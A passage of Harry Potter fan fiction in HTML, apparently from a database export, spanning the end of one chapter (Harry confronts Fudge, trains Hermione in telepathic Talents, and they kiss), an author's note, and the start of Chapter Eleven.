at. Himself. Somehow, with an unknown Talent, Voldemort had planted distrust and disgust into the mind of the Minister, so that every time he heard the name &#8216;Harry Potter&#8217;, he would stop believing everything he heard or saw about him. Only hard, true <i>proof</i> could in <i>any</i> way convince him, as the magic, Talent, spell or whatever it was, didn&#8217;t destroy his ability to <i>think.</i> Whether Fudge <i>had</i> that ability or not, was another question entirely. He had to remove it before he could have a nice, long chat with the Minister.</p>\n\n<p>~*~</p>\n\n<p><i>Now it has to work! Can&#8217;t I just get a thing right for once!</i></p>\n\n<p>&#8220;Good evening, Minister.&#8221; The man spun around. Then he froze. A young man sat in <i>his</i> chair, with his legs propped on <i>his </i>desk, smirking at him.</p>\n\n<p>&#8220;W-wh-who are you?&#8221; the Minister stuttered, taking a step back, fumbling with the door handle. But, unfortunately, it seemed like the handle had&#8230;err&#8230;malfunctioned.</p>\n\n<p>&#8220;My name&#8230;&#8221; the other man said, mysteriously &#8220;is inconsequential.&#8221; There was a small gust of wind &#8211;from where the Minister couldn&#8217;t guess, as every window, as well as the door was closed- and blew a few black strands of hair out of the young man&#8217;s face.</p>\n\n<p>&#8220;Harry Potter!&#8221; Minister Fudge cried, terrified. &#8220;What-what are y-you d-doing here?!&#8221;</p>\n\n<p>&#8220;You have, in your charge, something that belongs to me.&#8221;</p>\n\n<p>&#8220;H-how did you m-manage to get in h-here?&#8221; Fudge stuttered. <i>Perfect!</i> Harry thought. He chuckled slightly.</p>\n\n<p>&#8220;No worries, Minister, I did not apparate. Would have been difficult, as I don&#8217;t know who the Bonded are.&#8221; The Minister&#8217;s mind started to swirl around the Bonded for a minute, and Harry instantly read everything he was able to catch, and stored it for later use. He planned to use a pensieve and go carefully through everything later, together with Remus, Sirius, McGonagall and Dumbledore. And as he was here, he could just as well get back what belonged to him. &#8220;All I want, is my belongings. My trunk, which contains everything I own: school books, pictures&#8230; in short, memories. I would like to have them back. Since you know I&#8217;m <i>innocent</i> you will not refuse to give them to me, will you?&#8221;</p>\n\n<p>&#8220;No, of course not,&#8221; the Minister said, having calmed down. &#8220;It is currently locked into your vault in Gringotts. I&#8217;ll write a letter to the Head Goblin, and you will get your key and everything.&#8221; The Minister grabbed a quill and some parchment from his desk, which Harry still sat behind, and wrote a quick letter and placed his sign on it.</p>\n\n<p>&#8220;Perfect,&#8221; Harry said, and snatched the letter out of his hand. Even though this wasn&#8217;t the main reason he was here, he wanted them back, nonetheless. He sighed. His first wand however, was lost. It was procedure to snap wands from expelled students, and even though he had a new wand now (Ebony, griffin tooth, eleven inches) thinking about his first wand made him nostalgic. He turned to go.</p>\n\n<p>&#8220;Mr. Potter?&#8221; the Minister said, hesitantly, as he turned the door handle. &#8220;Would you like to have this back?&#8221; </p>\n\n<p>Harry&#8217;s jaw dropped. Between the Minister&#8217;s fingers was <i>his</i> wand, his very first wand. &#8220;B-but-but-&#8220; Harry spluttered, angry at himself for not being calm and collected. &#8220;Wasn&#8217;t that snapped?&#8221; He asked, confused.</p>\n\n<p>&#8220;It refuses to be snapped, so I thought you might want it b-back,&#8221; Fudge said, staggering backwards as Harry stared at him. </p>\n\n<p>Harry quickly composed himself. &#8220;Yes, I&#8217;d very much like to,&#8221; he said, stalked over to where Fudge stood, grabbed his wand, pocketed it, and left, without as much as a backwards glance.</p>\n\n<p>~*~</p>\n\n<p><i>&#8220;Three are found. We are missing&nbsp; yours.&#8221;</i></p>\n\n<p><i>&#8220;I haven&#8217;t found him yet. He&#8217;s not yet ready.&#8221;</i></p>\n\n<p><i>&#8220;You know that, theoretically, it can be a she?&#8221;</i></p>\n\n<p><i>A snort.</i></p>\n\n<p><i>&#8220;Hasn&#8217;t happened for three millennia. Don&#8217;t think it&#8217;s going to happen for another three either.&#8221;</i></p>\n\n<p><i>&#8220;Just hurry to find him. Or her.&#8221;</i></p>\n\n<p><i>&#8220;It&#8217;s a legend, Asham. A female against a male would be the perfect balance between the two strongest, but it will never happen.&#8221;</i></p>\n\n<p><i>&#8220;Never say never.&#8221;</i></p>\n\n<p><i>&#8220;A stupid phrase.&#8221;</i></p>\n\n<p><i>The man, called Asham, chuckled. &#8220;But hurry.&#8221;</i></p>\n\n<p>~*~</p>\n\n<p>Harry rubbed his temples. He didn&#8217;t <i>quite</i> have a headache, but he had a building storm behind his forehead. They had discovered one thing: Voldemort could <i>not </i>get past the Apparition shields. The shields had been modified less than six months ago, so no it wasn&#8217;t just to kill the Bonded, so now it wasn&#8217;t enough to kill the Bonded, the shields were now Bonded to the very earth, so you had to destroy London before you could apparate in. Ergo, Voldemort would have to walk in, or fly on a broomstick, but then he would be discovered before he was halfway in, so that wasn&#8217;t very likely.</p>\n\n<p>&#8220;Either he has another way of getting in, or he isn&#8217;t planning to attack the Ministry at all,&#8221; McGonagall concluded. </p>\n\n<p>And how very likely was <i>that?</i> Harry growled. They were getting nowhere! </p>\n\n<p>&#8220;Harry?&#8221; Sirius asked carefully. &#8220;You&#8217;re alright?&#8221;</p>\n\n<p>Harry sighed. &#8220;Yes, yes. Fine. Just a little stressed.&#8221; <i>I have a training session with Hermione in less than fifteen minutes Sirius! How can that be alright?</i></p>\n\n<p>He knew of course, that he had to apologise for what he&#8217;d said, not because he owed Hermione anything, but because he didn&#8217;t really mean it. And he&#8217;d hurt Hermione by saying something he didn&#8217;t mean, and that was wrong. But how should he apologise? Go down on his knees and ask for forgiveness? He knew Hermione very well, and once she had settled on something, it was hard to get her to change opinion. Perhaps he should wait a little, until she&#8217;d calmed a little and had time to think&#8230;</p>\n\n<p>&#8220;I have to go now,&#8221; he said. &#8220;I shall meet Hermione in a few minutes.&#8221; </p>\n\n<p>He didn&#8217;t notice the concerned looks he got from the others present in the room as he left. They were wondering if he wasn&#8217;t driving himself too hard, and all of them were cringing at the thought of Harry and Hermione in the same room; they had all seen how it ended last time&#8230;</p>\n\n<p>~*~</p>\n\n<p>Harry slammed two books onto the table. Hermione thought he looked tired and worn out, and his eyes were&#8230; dead. They didn&#8217;t shine and sparkle in the way she remembered so well from two years ago. </p>\n\n<p>&#8220;This,&#8221; he said, holding up the thinnest one, &#8220;is a book I have written myself. It has notes mostly, written like a diary, from my experiences with my Power. Your Power is very similar to mine, though I got my Power at an early age, and was steered by this &#8216;instinct&#8217;, which taught me much of what I can do today, while you, the Pectal didn&#8217;t get your power before you were seventeen, and don&#8217;t have this &#8216;instinct&#8217;.&#8221; </p>\n\n<p>Hermione looked at him suspiciously. &#8220;Then why do you always say &#8216;trust your instincts&#8217; to me then, if I don&#8217;t have any?&#8221; she asked. </p>\n\n<p>Harry looked a little ashamed. &lt;Err&#8230;Difficult to explain&#8230;&gt; he said.</p>\n\n<p>Hermione fell off her chair when she heard Harry&#8217;s mental voice in her head. </p>\n\n<p>&#8220;You&#8217;re a Telepath?&#8221; she asked, dumb-founded.</p>\n\n<p>&lt;Sort of&#8230;You are too,&gt; he answered.</p>\n\n<p>&#8220;I am? But why haven&#8217;t you taught&#8230;&#8221; She trailed off. It dawned on her. &#8220;You are my &#8216;instinct&#8217;.&#8221; She stated quietly, anger building inside of her. When she spoke again, her voice was dangerously calm.</p>\n\n<p>&#8220;I trusted you as my teacher, in fact, as more than a teacher. I looked at you as a friend. And yet, you lied to me. Everything about you has been a lie. True, you have taught me about being a Pectal, that&#8217;s no lie, though you haven&#8217;t told me all, and I guess you&#8217;ve left out pretty much. But why? If you hated me so much, why bother to train me? Why don&#8217;t you just walk away and let me have my own life? I was your friend once! I thought I knew you! But I don&#8217;t, because the Harry I knew wouldn&#8217;t do this to a friend, even if he hated her!&#8221; The last bit she screamed. Harry bowed his head. When he looked up, she could see that he was angry too.</p>\n\n<p>&#8220;Hermione,&#8221; he started, not using his Telepathy any longer. &#8220;I didn&#8217;t do this to hurt you. Don&#8217;t interrupt,&#8221; he said as he saw her open her mouth. &#8220;If you never got your Powers trained, you could end up in two ways: dead, or with your Powers locked up inside, not being able to use them at all. You wouldn&#8217;t even know they were there, but you would feel it, in a certain way. You would feel empty, like something was missing. You would never be whole. You would be an empty shell, with a beating heart, breathing lungs and thinking brain, but you would not really be alive. Your Powers are a part of you, and whether you like it or not, the Powers need you as much as you need them.&#8221; Harry lowered his head.</p>\n\n<p>&#8220;I don&#8217;t hate you Hermione, I really don&#8217;t. Maybe you hate me because I lied to you, but I certainly don&#8217;t need that as an excuse. I was sentenced to Azkaban for something I didn&#8217;t do, and you believed it. Yet, I don&#8217;t hate you. I have forgiven you for that, as it is human to make mistakes. But we can never be friends in the way we were. However, we don&#8217;t need that, we only need to co-operate. And now that the cat is out of the bag, we can start your real training.&#8221; He turned back to the table. It was Hermione&#8217;s turn to look down, ashamed.</p>\n\n<p>&#8220;This book is about Talents,&#8221; he said, and picked up the biggest of the books he&#8217;d brought. &#8220;It is the most detailed I could find,&#8221; he added, and handed it to her. The title read: <i>Citatio And Pectal, </i>by <i>Ramses II, Pharaoh of Egypt.</i>\n\n</p>\n\n<p>&#8220;Where did you get this?&#8221; she asked, she also trying to act as if everything was normal.</p>\n\n<p>&#8220;In the big Library in Alexandria. You know the one that muggles thought destroyed by Muslims lots and lots of years ago?&#8221; he asked. She nodded. &#8220;This is a copy of an old book. The original was on scrolls only, written by Ramses, besides very old, so I figured I couldn&#8217;t take them. The fact that it was written in hieroglyphs didn&#8217;t make it any better.&#8221; He smiled slightly. &#8220;So, I chose to take a copy written in English, in book form.&#8221;</p>\n\n<p>&#8220;But I didn&#8217;t think normal commoners were even allowed inside the Alexandria Library, much less allowed to borrow books, and still you did!&#8221; Hermione said, a frown on her forehead. Harry grinned slightly.</p>\n\n<p>&#8220;Ahh, yes, I haven&#8217;t told you about my Persuasion Talent.&#8221;</p>\n\n<p>&#8220;Persuasion Talent? No, you haven&#8217;t told me much about how it works either,&#8221; Hermione said, her voice edged with irritation. </p>\n\n<p>Harry sighed, and looked straight into her eyes. &#8220;Hermione,&#8221; he said. &#8220;Say after me: <i>I hate reading</i>.&#8221; Hermione&#8217;s eyes glazed over. <i>Say &#8216;I hate reading&#8230;&#8217; Say &#8216;I hate reading&#8230;&#8217;</i></p>\n\n<p>&#8220;I&#8230;hate&#8230;read&#8230;&#8221; <i>What? I don&#8217;t hate reading! </i>&#8220;What!&#8221; she said, confused. &#8220;Why did I say that?&#8221;</p>\n\n<p>&#8220;My Persuasion Talent.&#8221; Harry said. &#8220;I&#8217;m impressed. No one has yet accomplished what you just did.&#8221;</p>\n\n<p>&#8220;What did I do?&#8221;</p>\n\n<p>&#8220;You managed to break the spell. You didn&#8217;t finish the sentence. It is stronger than the Imperius curse, and works much like it.&#8221;</p>\n\n<p>&#8220;But Harry, that&#8217;s dark magic!&#8221; Hermione said, horrified.</p>\n\n<p>&#8220;Magic is only dark when it is used for evil purposes, Hermione. I haven&#8217;t used my gift to kill someone, or anything else illegal. Except that book, that is. Sometimes need comes before morals. You now understand how I could get this book?&#8221;</p>\n\n<p>&#8220;Harry, you stole it!&#8221; she exclaimed, but Harry just chuckled. Neither noticed that they behaved like the last two years never had happened.</p>\n\n<p>&#8220;No, I did not. The librarian gave it to me.&#8221; Harry grinned again. </p>\n\n<p><i>Damn, he was cute when he smiled like that.</i>&nbsp; Hermione thought. </p>\n\n<p>&#8220;Well, anyway,&#8221; he said, and became serious again. &#8220;I can now tell you more about your Talents. I can sense those Talents we both have, and I have also seen a couple of your Talents in my visions. You already know you can Manipulate Water and Earth, that you have a little bit of Voice, plus Telekinesis, Healing and Empathy,&#8221; he said. Hermione nodded. &#8220;You also have Telepathy, Soul-searching and Beast-speaking.&#8221; His visions <i>had</i> showed versions where he told her about that, but he had hoped it wouldn&#8217;t end up that way. He would have preferred that she found out by herself. </p>\n\n<p>Hermione sighed, accepting what he&#8217;d kept secret. &#8220;What I want to know, is what kind of Talents <i>you </i>have,&#8221; she said stubbornly, and it was Harry&#8217;s turn to sigh. Why couldn&#8217;t she just accept that he was a Citatio and let him have his secrets to himself?</p>\n\n<p>&#8220;Well, I&#8217;m a Voice, a Persuader, and a Telepath like you. I also have Telekinesis like you, I can Manipulate Air and Fire, and a bit of Water,&#8220; he said, and Hermione nodded. &#8220;I&#8217;m a Seer too, but I&#8217;m not sure weather or not that&#8217;s a Talent&#8221; Hermione nodded again; the newspapers had mentioned something about that, so it didn&#8217;t come as a very big surprise.</p>\n\n<p>&#8220;I&#8217;m also a Shapeshifter and a Mind-reader.&#8221;</p>\n\n<p>&#8220;A Mind-reader!&#8221; Hermione said horrified. <i>What if he read my mind!&#8221;</i></p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;Err&#8230; Have you ever read my mind?&#8221; she asked cautiously.</p>\n\n<p>&#8220;Yes,&#8221; he answered. Hermione blushed bright red, and Harry raised an eyebrow.</p>\n\n<p>&#8220;You haven&#8217;t&#8230;you haven&#8217;t&#8230; you&#8230;&#8221; she stuttered.</p>\n\n<p>&#8220;I haven&#8217;t read anything you wouldn&#8217;t want me to read, Hermione, I promise. I have read it a few times, but I&#8217;ve just touched &#8216;the surface&#8217;. I wouldn&#8217;t want to see anything you wouldn&#8217;t want me to see.&#8221; He said this kindly, smiling slightly at her stuttering.</p>\n\n<p>&#8220;Oh.&#8221;</p>\n\n<p>&#8220;And Hermione?&#8221;</p>\n\n<p>&#8220;Yes?&#8221; she answered, still beet red.</p>\n\n<p>&#8220;Could you stop trying to get through my shields? You are a very strong Empath, and it gives me a headache.&#8221; Hermione blushed even more, and quickly withdrew.</p>\n\n<p>&#8220;Thank you,&#8221; Harry said rubbing his temples. &#8220;And yes, I will teach you how to shield your mind. And yes, I read that thought. The number of times I&#8217;ve read your thoughts is now two.&#8221;</p>\n\n<p>The rest of the lesson was spent teaching Hermione how to shield herself mentally. At the end of it, Hermione was sweating from the effort, and shivering slightly. Harry laid a gentle hand on her shoulder, concern in his eyes.</p>\n\n<p>&#8220;I&#8217;m fine,&#8221; she said, forcing herself <i>not </i>to bury her head in his chest and just cry in frustration. The Pectal Powers had mostly good effects on her, as she now remembered everything she read after just reading it once, and everything she heard after just hearing it once, but it also made her so much more emotional, especially when she was tired. She could end up crying because of small, stupid details, or screaming at nothing. Another shiver ran through her body, and this time it was <i>not</i> because she was tired. <i>Damn you Hermione,</i> she thought to herself. <i>Falling in love with a man who doesn&#8217;t trust you and probably despises you. Stupid, stupid, stupid!!!</i></p>\n\n<p>&#8221;Okay,&#8221; he said hesitantly. &#8220;But before you leave, I want to show you how we are going to continue your training.&#8221; She nodded. &#8220;Look at this,&#8221; he said. A small shimmer, and a tree started to grow out of the stone floor. Hermione&#8217;s eyes widened, before she realised it was an illusion, not Earth Manipulation. The tree stretched upwards, twigs and branches started to form, it got leaves, green leaves. Then, beautiful flowers popped out everywhere. Hermione gasped. The tree reached up to her torso, and was the most beautiful tree she&#8217;d ever seen; silver trunk, dark green leaves, and shining yellow flowers. She looked at Harry, confused. How could this help her training?</p>\n\n<p>&#8220;Do you think you can copy that?&#8221; he asked. Hermione raised an eyebrow.</p>\n\n<p>&#8220;Never,&#8221; she said. She hadn&#8217;t yet managed any illusions, as it was almost as difficult as transfiguration, when she used Pectal Powers. She didn&#8217;t yet know how to do it.</p>\n\n<p>&#8220;Of course you can. You just have to copy what I did. Analyse what I did with my magic, and then do the same yourself. It&#8217;s quite simple.&#8221; And it was. She followed his magic, sensing where he had &#8216;twisted&#8217; it, where he had &#8216;tied&#8217; it up, where he&#8217;d &#8216;spread&#8217; it, and where he&#8217;d &#8216;gathered&#8217; it. Seconds later, another tree, with white flowers accompanied the yellow one. But the strain had been too much, and Hermione was exhausted. She stumbled, but before she could fall, Harry caught her in his arms, steadying her. <i>Oh dear,</i> she thought, as &#8211;she didn&#8217;t know exactly how they had ended up in this position- his face was only inches from hers, and she was painfully aware of the fact that their bodies &#8211;though <i>he</i> probably didn&#8217;t think of it that way- were more than <i>innocently</i> touching. </p>\n\n<p>&#8220;Err&#8230; Sorry,&#8221; she said. </p>\n\n<p>It was a stupid thing to do. She knew it the instant she did it. She didn&#8217;t intend to do it. It just&#8230;happened. </p>\n\n<p>She could sense that he had relaxed a bit, and didn&#8217;t hold his mental shields so strongly. Though she was tired, it had no effect on her Talents. Too late, he realised what she was trying to do. His eyes widened in shock and horror, but before he could get his shields up again, they were completely crushed under her pressure. She gasped, horrified because of what she&#8217;d done, and horrified because of what she sensed. </p>\n\n<p>Fear and horror, confusion and astonishment. But what shocked her most of all, was the feeling of concern and love. Directed at her. <i>What?</i> He started to pull away, horrified as she now knew his hidden secret. But she didn&#8217;t let him. In later years she could never explain why she did it. </p>\n\n<p>She tilted her chin a bit up. As her lips connected with his, he froze. Two seconds later she realised what she was doing. Shocked, she jumped back, blushing furiously, being horrified because of her actions. Not knowing what to do, she panicked and ran for the door.</p>\n\n<p>But then Harry regained his senses, and managed to grab her by her arm before she was halfway there. He turned her around to face him, and Hermione looked into his green (gorgeous) eyes, but instead of the anger and disgust she&#8217;d expected, she saw&#8230;hope.</p>\n\n<p>&#8220;I&#8217;m-&#8220; &#8216;I&#8217;m sorry&#8217; was what she had intended to say, but trailed off as Harry&#8217;s green eyes fixed on her brown eyes. <i>What is he doing?</i> she thought, bewildered, as Harry leaned forward. <i>He isn&#8217;t going to&#8230;</i> He tilted his head a bit to one side and leaned even closer. <i>He is! </i>She could scent his breath now. Mint. <i>Oh God.</i> Mint tea had always been Harry&#8217;s favourite.</p>\n\n<p>Harry&#8217;s soft lips met hers for the second time that day, and she felt a shiver run down her spine.</p>\n\n<p>She moaned softly, emotions she&#8217;d never felt the like of enveloping her, and she was totally unaware of her surroundings. All she knew was the sweet, sweet taste of Harry&#8217;s lips. <i>This&#8230;Is&#8230;So&#8230;So&#8230;</i></p>\n\n<p>&#8220;Ahem.&#8221;</p>\n\n<p><i>Wonderful.</i></p>\n\n<p>====================</p>\n\n<p>*drum roll* </p>\n\n<p>*evil grin* Go me.</p>\n\n<p><b>Disclaimer</b>: This has never, ever been done before. This is my invention. Therefore, I put it on the internet, so everyone who want to can copy it down. I myself couldn&#8217;t care less about the money. *eerie silence* Please forgive my sarcasm.</p>\n\n<p>Thanks to everyone who reviewed! (Go you)</p>\n\n<p>Beta-read by the-dreamer. Duh&#8230; Go her.</p>\n\n<p><b>Finally I&#8217;ve got all ten chapters out on both Fanfiction.net and Portkey.org. Happy now? Good. (Go me)</b><b></b></p> '),
	(234, 11, ' <p><b>Chapter Eleven: Forgive And Forget</b>\n\n</p>\n\n<p>Harry didn&#8217;t really know what to think. Okay, at this moment he wasn&#8217;t really thinking at all, but thoughts would come to him eventually. Because he was <i>kissing</i> Hermione, a dream he&#8217;d fought hard to keep out of his head the last half a year. It gave him goose-bumps. It made him crazy. It made him dizzy. No, scratch that; it made him weak; it felt like his knees were about to give in and he would fall onto the floor. But he couldn&#8217;t do that, because if he did, and ended up on the floor on top of her, -or worse; her on top of him- he knew he would get carried away and do something he&#8217;d regret later. It didn&#8217;t stop his hands from roaming her back though, or tangling with her hair. What this would lead to, (beside the being-carried-away thing) which probably was something very awkward and difficult, he decided to worry about later. Wait, who&#8217;s talking about worrying? Not Harry, because the sensible part of <i>his</i> brain had decided to go on vacation, so no such thoughts were even present. </p>\n\n<p>He was currently enjoying the best moment of his life, so, naturally, someone had to ruin it. Vaguely, he heard someone clear a throat. (What? He never heard that badly before&#8230;?) This brought him back to reality. As close to reality as you can come, when you have a very beautiful woman wrapped around your neck, your hands <i>under</i> her blouse, caressing the small of her back. Harry had no idea how they had ended up there. One part of Harry&#8217;s mind desperately wanted to just stay like that, while another (much smaller part) screamed that he should get control of himself. The smaller part, unfortunately, won.</p>\n\n<p>He broke the kiss, took one step back and turned his head towards the door&#8230; and started wishing for a big, black hole, which he could hide in. A quick glance at Hermione, who also had noticed they were not alone anymore, told him that she was thinking along the same lines.</p>\n\n<p>In later years Harry became rather famous for his door-locking; if he didn&#8217;t want anyone to interrupt his privacy, no one interrupted his privacy. But today, in the doorway stood Professors Albus Dumbledore and Minerva McGonagall. <i>Thank God it&#8217;s not Sirius; he&#8217;d never let me live this down,</i> flashed through Harry&#8217;s mind. Not that this was any better, by the way.</p>\n\n<p>Harry felt himself flush scarlet. Dumbledore was looking at them, with barely contained amusement, while McGonagall was looking quite shocked. The first few seconds, that is. Once the first shock left her, she had to fight to keep herself from grinning. </p>\n\n<p>Harry was glad he had the ability to compose himself quickly. At least <i>look</i> like he composed himself quickly.</p>\n\n<p>&#8220;Good evening, Professor,&#8221; he said calmly, in an almost normal voice. &#8220;Something I can help you with?&#8221; he asked, and at the same time conjuring up four chairs.</p>\n\n<p>Fortunately, even though Dumbledore didn&#8217;t know what had happened between them, he knew it was something Harry and Hermione had to sort out by themselves. He also knew that they were old enough to do it, though they hadn&#8217;t really showed it yet, considering what had happened last time they&#8230;err&#8230; met. So, much to Harry and Hermione&#8217;s relief, he didn&#8217;t say a word about what had been going on. It didn&#8217;t stop him from looking very amused, though.</p>\n\n<p>Despite his calm, (though rather flushed) appearance, Harry&#8217;s mind was in chaos. Thoughts like: <i>&#8216;Why did she do that?&#8217;, &#8216;What will happen now?&#8217;, &#8216;Does she </i>like<i> me?&#8217;, </i>and so on, flashed through his mind at lightning speed. As much as Harry had thought about Hermione, the possibility of her liking him <i>back</i> had never crossed his mind. Yet, when she&#8217;d broken his barrier (Harry mentally berated himself), and read the emotions he held for her, she hadn&#8217;t been disgusted or angry, but <i>she&#8217;d kissed him!</i> Harry&#8217;s heart had stopped beating right then and there. All rational thoughts fled his head, and when she ran, he grabbed her and&#8230;</p>\n\n<p><i>I need a cold shower.</i></p>\n\n<p>~*~</p>\n\n<p>Dumbledore was both surprised and amused. He had figured out that Harry had this &#8216;thing&#8217; for Hermione, by reading his emotions, and of course, he also knew some of Hermione&#8217;s feelings too. And even though he knew, he hadn&#8217;t thought they would figure it out <i>that</i> fast. </p>\n\n<p>Now, one may ask why he never told Harry and Hermione what he knew about them, and why he never volunteered to train Hermione&#8217;s Empath abilities, which Harry didn&#8217;t have. The answer was rather simple: As soon as an Empath discovered his or her abilities, he or she would need very little help to control it, and he would rather help the Empath to realise when to use the gift, and when not to use it, or misuse it.&nbsp; Throughout the years, he&#8217;d discovered quite a few Empaths, and though they had never known that he was one, he had, with his small, subtle hints and such, managed to get almost everyone to think twice before they used their gift. He prided himself in his ability to get students to trust him and respect him, and this so often proved useful. Because of his own Empathy, he could very often guess what people thought, and had many times given a student a guilty conscience with only a look.</p>\n\n<p>As for the feelings Hermione and Harry had for each other: he knew very well that he could not tell either of them about it. It was something they had to figure out alone.</p>\n\n<p>Also, he was very grateful that he&#8217;d never had revealed his gift to anyone. He had, almost immediately after discovering his gift, also discovered a way to hide it, something that should have been impossible, as every Empath can sense another Empath, even though he or she isn&#8217;t currently using the gift. Yet, he had managed to hide it, and now he had decided to teach this to Harry and Hermione, as it wouldn&#8217;t be smart to let anyone know about their Talents. He didn&#8217;t know for sure, but he was fairly certain that you could hide any Talent in the same way.</p>\n\n<p>But not right now. He had news from Blaise Zabini, one of his Death Eater students. It always filled him with sorrow when he learned that one of his students had joined their ranks, but at least this girl could be saved, and perhaps help others, who had found themselves trapped between the Light and the Dark. Yet, he suspected it was more than her being trapped as a Death Eater, wanting to be a light witch, that bothered her. He also suspected it was something about her that Harry hadn&#8217;t told him when he said he had a spy in the Death Eaters&#8217; ranks. He only hoped Harry knew what he was doing.</p>\n\n<p>Professor Dumbledore gave a quick review of what she&#8217;d brought back to him, deciding that it was time to let Hermione into it as well. He saw Hermione&#8217;s confused look, and was about to start telling her what was going on, when she suddenly turned her head towards Harry, and a look of understanding dawned on her face. Dumbledore was puzzled for a second, before he realised that Harry had to be a Telepath. The young man had been rather reluctant to show what he could do, but it seemed like this wasn&#8217;t bothering him so much any longer. Dumbledore had long wondered what had made Harry hide things from him, even after he learned what he really was, but had figured it was a force of habit. He only hoped he could open up to Ms. Granger.</p>\n\n<p>~*~</p>\n\n<p>&#8220;So,&#8221; Harry said, &#8220;he&#8217;s going to attack when the results are publicised, when <i>very </i>many people are gathered at the Ministry, along with the candidates.&nbsp; He will wreak havoc, kill the new Minister, let our <i>good friend</i> Lucius clear it up, and then let him claim the position. We know when, but we don&#8217;t know how.&#8221; He stroked his jaw absentmindedly. He could still feel it where Hermione had touched him. His skin still prickled and tingled so strangely. In fact, he was tingling all over. <i>Riiiiiighhhht Harry! You&#8217;re getting way off track&#8230;</i></p>\n\n<p>&#8220;Okay,&#8221; he said, forcing his brain to concentrate on the matters at hand. &#8220;Do you have any ideas about what to do?&#8221; he asked Dumbledore, and at the same time cast a quick glance at Hermione, who still had a red tinge in her checks, and was staring at her hands, occasionally casting glances at him. He fought the urge to sweep her up in his arms and kiss her senseless, and turned his full attention to Professor Dumbledore, who had started on the to-do list. <i>Wonder if it meant anything&#8230; What if she&#8217;s regretting it now? But why should she do it, then? What if she was just&#8230; caught in the moment? What if&#8230;</i></p>\n\n<p>&#8220;A good idea,&#8221; Harry said as Dumbledore stopped speaking. He quickly and unnoticed penetrated Dumbledore&#8217;s shields, and read what he could find about what had just been said. The man had powerful shields, but not powerful enough. Harry wasn&#8217;t entirely sure whether or not he\'d been noticed, but he hoped not. And anyway, Dumbledore would probably understand that his mind was elsewhere &#8216;occupied&#8217;. &#8220;So you\'ll get this Mr. Storm to raise the security at the Ministry, make sure as many of The Order of Phoenix members are there at the time, and then I&#8217;ll make sure to be there, as &#8216;The Golden Mask&#8217;.&quot;</p>\n\n<p>Dumbledore nodded. &#8220;Yes, that&#8217;s all we can do, without attracting Voldemort&#8217;s attention. I cannot be there, unfortunately, as I have Hogwarts to look after.&#8221;</p>\n\n<p>Harry smiled grimly. &#8220;We&#8217;ll make sure he gets a warm welcome anyway.&#8221; Then he shook his head, as if to shake off the grim mode, and smiled. &#8220;So, you think Mr. Weasley is going to win?&#8221; he asked, and Professor McGonagall and Dumbledore shared a glance.</p>\n\n<p>&#8220;Well,&#8221; McGonagall said, &#8220;Marice has done a good job, so we&#8217;re rather sure he will. We cannot be absolutely sure, however, though Mr. Malfoy&#8217;s chances are as good as nothing anyway, and that&#8217;s good.&#8221;</p>\n\n<p>Hermione, who had been following the conversation with interest, and been telepathically supplied with bits and pieces of information from Harry, looked confusedly at her professor, while Harry grinned. &#8220;So the two of you <i>did</i> have something to do with that!&#8221; he exclaimed, and McGonagall shoot him a surprised look.</p>\n\n<p>&#8220;You knew about that?&#8221; she asked, and Harry nodded, supplying Hermione with the necessary information.</p>\n\n<p>&#8220;You always looked so smug when it came up,&quot; he said. &quot;I couldn&#8217;t be sure, of course, but it served my purposes, so I didn&#8217;t actually care about the details.&#8221;</p>\n\n<p>Dumbledore chuckled. &#8220;Nothing gets past you, does it?&#8221; he said, and Harry smiled.</p>\n\n<p>&#8220;Oh, you know. I&#8217;ve had a good teacher,&#8221; he said, and sent the Headmaster a knowing look, mixed with amusement. Both he and Hermione had, by now, forgotten to be embarrassed.</p>\n\n<p>They sat in silence for a little while, all of them in their own thoughts (not in anyone else&#8217;s). Harry sighed. How wonderful it had felt to hold her like that. She was so warm and so soft&#8230; He could have spent hours just holding her close, hearing her heartbeats, her breathing, taking in the soft scent of her, playing with her hair, and feeling her warmth. He&#8217;d give anything to be able to do that again. He smiled wryly at himself. <i>You kiss her once, and then you can&#8217;t imagine a life without her. Get a grip, Potter.</i></p>\n\n<p>Dumbledore interrupted his train of thought. &#8220;But what about this Talent you discovered? The one you think comes from Voldemort?&#8221; Professor McGonagall cringed slightly.</p>\n\n<p>Harry&#8217;s head snapped up. &#8220;What?&#8221; he said, before he realised what Dumbledore was talking about. &#8220;Oh, that.&#8221; He frowned, since he hadn&#8217;t really given it much thought yet. He&#8217;d had other things on his mind. &#8220;I don&#8217;t know,&#8221; he said. &#8220;I think it was a Talent, as it was definitely not a curse or spell. And in some strange way I &#8216;recognised&#8217; it. If you can say that about something you haven&#8217;t seen before.&#8221; He sent Hermione a brief review of what he&#8217;d discovered when he visited the Minister.</p>\n\n<p>Dumbledore thought about that for a moment. &#8220;Everyone who has a Talent can sense another with the same Talent. Could it be possible that you have it too?&#8221; he asked. </p>\n\n<p>Harry rubbed his temples. &#8220;I honestly don&#8217;t know. It could be that, but it could be because I\'m a Citatio.&#8221; He sighed. &#8220;Damn you Voldemort!&#8221; he suddenly blurted out, frustrated, before smiling sheepishly at his outburst. McGonagall cringed. </p>\n\n<p>Something tickled at the edge of Harry&#8217;s mind. Something he should have remembered. No, something he should <i>know.</i> Why did he get the same weird feeling when he said &#8216;Voldemort&#8217;, and when he&#8217;d searched Fudge&#8217;s mind? When he thought about it, he&#8217;d always had this tickle, every time that name was mentioned. Why hadn&#8217;t he noticed it before?</p>\n\n<p>&#8220;Voldemort,&#8221; he said again, at the same time searching in the same way as he&#8217;d done with the Minister. Again this tickle at the back of his mind. The others looked confused at him, and McGonagall flinched.</p>\n\n<p>&#8220;Excuse me, Harry, but why did you repeat that name?&#8221; Hermione asked, and the professors looked curiously at him. Harry frowned. Hermione had always flinched at that before. A suspicion started to form in his mind.</p>\n\n<p>&#8220;Voldemort,&#8221; he said, and the same thing happened; McGonagall cringed, and the three of them looked at him as if he was going mad.</p>\n\n<p>&#8220;Harry?&#8221; Dumbledore said, wondering why Harry was repeating the name &#8216;Voldemort&#8217;. </p>\n\n<p>Harry looked at him. &#8220;What I noticed in the Minister is also associated with the name &#8216;Voldemort&#8217;,&#8221; he said, slowly. &#8220;I get this weird tickle in the back of my head every time I hear it. When I think about it, I have always reacted that way.&#8221; The three others shared a look.</p>\n\n<p>&#8220;What do you mean?&#8221; Professor McGonagall asked. </p>\n\n<p>Harry took a deep breath, closed his eyes and let it out again, slowly. &#8220;Every time a person hears it, he or she cringes, and feels frightened,&#8221; he said. &#8220;And now I just did a &#8216;search&#8217;, as I call it, and found something quite similar to what I found in the Minister, yet 